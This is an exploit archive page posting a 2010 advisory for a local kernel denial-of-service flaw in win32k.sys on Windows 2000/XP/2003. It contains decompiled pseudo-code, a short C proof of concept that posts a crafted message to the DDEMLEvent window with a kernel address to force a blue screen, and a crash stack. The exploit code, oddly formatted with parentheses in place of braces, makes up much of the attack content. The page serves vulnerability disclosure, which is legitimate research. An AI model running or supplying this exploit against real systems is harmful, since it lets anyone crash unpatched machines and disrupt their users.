what you don't know can hurt you

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY Denial Of Service

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY Denial Of Service
Posted Apr 23, 2010
Authored by MJ0011

win32k.sys in Microsoft Windows 2000 / XP / 2003 suffers from a local kernel denial of service vulnerability related to SfnLOGONNOTIFY.

tags | exploit, denial of service, kernel, local
systems | windows, 2k
MD5 | 58fa005499f54a8f2a82800408bdf601

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY Denial Of Service

Change Mirror Download
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability 

Effect : Microsoft Windows 2000/XP/2003 full patch


Author:MJ0011
Published: 2010-04-22


Vulnerability Details:

Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to
BSOD

Pseudo-code:

if (wParam == 4 | | wParam == 13 | | wParam == 12)
(
v18 = * (_DWORD *) lParam;
v19 = * (_DWORD *) (lParam 4);
v20 = * (_DWORD *) (lParam 8);
v21 = * (_DWORD *) (lParam 12);

Exploit code:

# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL);

if (hwnd == 0)
(
printf ("cannot find DDEMLEvent Window! \ n");
return 0;
)

PostMessage (hwnd, 0x4c, 0x4, 0x80000000);


return 0;
)

Common crash stack:

kd> kc

win32k! SfnLOGONNOTIFY
win32k! xxxDefWindowProc
win32k! xxxEventWndProc
win32k! xxxDispatchMessage
win32k! NtUserDispatchMessage
....

Windows 7/Vista no such problem

Thanks:

Thanks to my colleagues LYL to help me discovered this vulnerability

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    2 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    16 Files
  • 13
    Feb 13th
    19 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close